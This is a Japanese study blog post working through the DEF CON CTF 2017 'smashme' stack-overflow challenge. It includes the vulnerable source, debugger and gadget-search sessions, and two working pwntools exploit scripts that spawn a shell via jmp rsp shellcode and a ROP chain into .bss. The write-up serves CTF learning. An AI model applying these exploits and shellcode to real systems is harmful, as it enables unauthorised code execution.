LoginSignup
0
0

More than 1 year has passed since last update.

DEF CON CTF Qualifier 2017 smashme を勉強した記録

Last updated at Posted at 2021-05-10

DEF CON CTF Qualifier 2017 smashme を勉強した記録
No eXecute bit(NX)無効

※ python + pwn でアセンブラをマシン語に変換を追記

NTT DATA のコラムで勉強

Solution:
bof で スタックに直にshellコードを書いて jmp rsp で実行する作戦。
リターンアドレスを,jmp rspのアドレスに書き換え,その下のshellコードを実行する。

smashme.c
// smashme.c
// gcc -fno-stack-protector -z execstack -static smashme.c -o smashme
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
 
int main(int argc, char *argv[]){
  char input[0x40];
 
  puts("Welcome to the Dr. Phil Show. Wanna smash?");
  fflush(stdin);
 
  gets(input);  // 0x40(64バイト)以上でオーバーフロー
 
  // 特定の文字列を含んでいるかチェック
  if(strstr(input, "Smash me outside, how bout dAAAAAAAAAAA")){
    return 0;
  }
  exit(0);

bof

$ gdb -q ./smashme
gdb-peda$ b main
gdb-peda$ r

b main で止まった時のスタック
image.png
一番上に push ebp があり,
その下に main関数のリターンアドレス 0x401159 が見える

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400b6d <+0>:     push   rbp
   0x0000000000400b6e <+1>:     mov    rbp,rsp
=> 0x0000000000400b71 <+4>:     sub    rsp,0x50
   0x0000000000400b75 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x0000000000400b78 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x0000000000400b7c <+15>:    lea    rdi,[rip+0x91625]        # 0x4921a8
   0x0000000000400b83 <+22>:    call   0x410420 <puts>
   0x0000000000400b88 <+27>:    mov    rax,QWORD PTR [rip+0x2b8c19]        # 0x6b97a8 <stdin>
   0x0000000000400b8f <+34>:    mov    rdi,rax
   0x0000000000400b92 <+37>:    call   0x40fe80 <fflush>
   0x0000000000400b97 <+42>:    lea    rax,[rbp-0x40]
   0x0000000000400b9b <+46>:    mov    rdi,rax
   0x0000000000400b9e <+49>:    mov    eax,0x0
   0x0000000000400ba3 <+54>:    call   0x410270 <gets>
   0x0000000000400ba8 <+59>:    lea    rax,[rbp-0x40]
   0x0000000000400bac <+63>:    lea    rsi,[rip+0x91625]        # 0x4921d8
   0x0000000000400bb3 <+70>:    mov    rdi,rax
   0x0000000000400bb6 <+73>:    call   0x400468
   0x0000000000400bbb <+78>:    test   rax,rax
   0x0000000000400bbe <+81>:    je     0x400bc7 <main+90>
   0x0000000000400bc0 <+83>:    mov    eax,0x0
   0x0000000000400bc5 <+88>:    jmp    0x400bd1 <main+100>
   0x0000000000400bc7 <+90>:    mov    edi,0x0
   0x0000000000400bcc <+95>:    call   0x40ea90 <exit>
   0x0000000000400bd1 <+100>:   leave
   0x0000000000400bd2 <+101>:   ret
End of assembler dump.

getsの後にブレークポイントを設定,cで流した後,AAA を入力する

gdb-peda$ b *0x0000000000400ba8
Breakpoint 2 at 0x400ba8
gdb-peda$ c
Continuing.
Welcome to the Dr. Phil Show. Wanna smash?
AAA

スタック見てみる
image.png
計算通り,A * 64 で push ebp にぶつかり,その次がリターンアドレスだ
よって A は (64 + 8) = 72 必要。

jmp rspをさがす

Intel Manual --> objdump

jmp rsp の opcode を信憑性高くまとめているサイトは発見できなかった。
よって本家の2000ページ以上あるpdfを調べ上げた。

レジスタをジャンプ先にする jmp命令 は ff xx の2バイト (xx はレジスタを識別するオペランド)
image.png

レジスタをジャンプ先にする jmp命令において,レジスタを識別するオペランド
image.png

例えば
jmp rax であれば ff e0
jmp rsp であれば ff e4

objdumpで探してみる

objdump -d -M intel ./smashme | less
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>

あった。
0x49d845 でいけそう
ただし,今まで私は,objdump | less を使ってきたが,限界も感じる。
そこで先生も使っていた rp++ を使ってみた。

rp++

$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64
$ ./rp-lin-x64 -f ./smashme --rop=1 --unique | grep "jmp rsp"
0x004c25aa: clc  ; jmp rsp ;  (1 found)
0x004c54f2: cli  ; jmp rsp ;  (1 found)
0x0045f782: jmp rsp ;  (5 found)
0x004bd849: sar ebp, cl ; jmp rsp ;  (1 found)
0x004bd84a: std  ; jmp rsp ;  (1 found)
0x004c25a9: xor al, bh ; jmp rsp ;  (1 found)

0x49d845は含まれていない。
0x45f782を検証してみる

objdump -d -M intel ./smashme | less
  45f77c:       48 c7 85 78 ef ff ff    mov    QWORD PTR [rbp-0x1088],0x4b2be4
  45f783:       e4 2b 4b 00

やはり思った通り,less の検索では発見できない場所で発見してる。

python + pwn

知らなかった。こんなの

$ python
Python 2.7.17 (default, Feb 27 2021, 15:10:58) 
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("jmp rsp")
'\xff\xe4'
>>> binary = elf.load("smashme")
[*] '/home/xxx/share/smashme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
>>> hex(next(binary.search("\xff\xe4")))
'0x45f782'

攻撃コード

smashme1.py
# coding: UTF-8
# https://www.intellilink.co.jp/article/column/ctf01.html

import pwn
import struct

#io = pwn.remote("smashme_omgbabysfirst.quals.shallweplayaga.me ", 57348)
io = pwn.process("./smashme")

ret = io.readuntil("Welcome to the Dr. Phil Show. Wanna smash?")
print(ret)

smash_me = b"Smash me outside, how bout dAAAAAAAAAAA"
bufsize = 64+8
addr_jmp_rsp = 0x49d845

'''
  49d842:       48 8b 1d ff e4 22 00    mov    rbx,QWORD PTR [rip+0x22e4ff]        # 6cbd48 <seen_objects>
'''


# Linux/x86-64 - Execute /bin/sh - 27 bytes by Dad`
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = smash_me
s += b"A" * (bufsize - len(smash_me))
#s += struct.pack("<Q",addr_jmp_rsp)
s += pwn.p64(addr_jmp_rsp)
s += shellcode


print(s)

#io.send(s)
io.sendline(s)
io.interactive()

実行

# python smashme1.py
[+] Starting local process './smashme': pid 318
Welcome to the Dr. Phil Show. Wanna smash?
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x82E\x00\x00H\xbbѝ\x96\x91Ќ\x97\xffHST_\x99RWT^\xb0;\x0f
[*] Switching to interactive mode

$ ls

なぜか1回目のlsには反応しないけど,2回目のlsで動いた。
io.send(s) --> io.sendline(s)に変更したら,1回のlsで動くようになった。

st98 の日記帳 で勉強

st98様,大変参考になりました。ありがとうございます。

さっそく新技

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

先生によると
bss セグメントにシェルコードを置いて実行してしまいましょう。
とある。

bss セグメント? 初耳

んーよくわらない。

先生の攻撃コードに出てくる

payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss

の検証

pop rdi ; ret

$ objdump -d -M intel ./smashme | less
  4014d5:       41 5f                   pop    r15
  4014d7:       c3                      ret

gets

$ objdump -d -M intel ./smashme | less
  4009e2:       e8 e9 f0 00 00          call   40fad0 <_IO_gets>

.bss

$ objdump -h  ./smashme | less
 25 .bss          00001878  00000000006cab60  00000000006cab60  000cab50  2**5
                  ALLOC

攻撃コード

smashme2.py
# coding: UTF-8
# https://st98.github.io/diary/posts/2017-05-02-def-con-ctf-2017-qualifiers.html
import time
from pwn import *

context(os='linux', arch='amd64')

payload = ''
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += 'A' * (64+8 - len(payload))

payload += p64(0x4014d6) # pop rdi; ret
payload += p64(0x6cab60) # .bss
payload += p64(0x40fad0) # gets
payload += p64(0x6cab60) # .bss  <-- gets内のretでキックされ,shellコードが実行される

print payload #  <-- gets(.bss) が実行され,入力待ちになる
time.sleep(.5)
print asm(shellcraft.sh()) #  <-- gets(.bss) にshellコードが送られ,.bssに書き込まれる

実行

$ (python smashme2.py; cat) | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
ls

~~仕組みは理解できないが,~~動いた。

gets で標準入力に渡されたシェルコードを .bss に書いてるところまでは理解できた。
printが2か所あるのは,たぶんそのため。
そして,getsはcallで呼ばれたと勘違いして ret し,.bssに書かれたシェルコードが動き出すということか。
こういうのを ret2read と呼ぶのかな?
若い人達が pwn にはまるわけだ。知的ゲームだ。

callerとcallee

gets

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0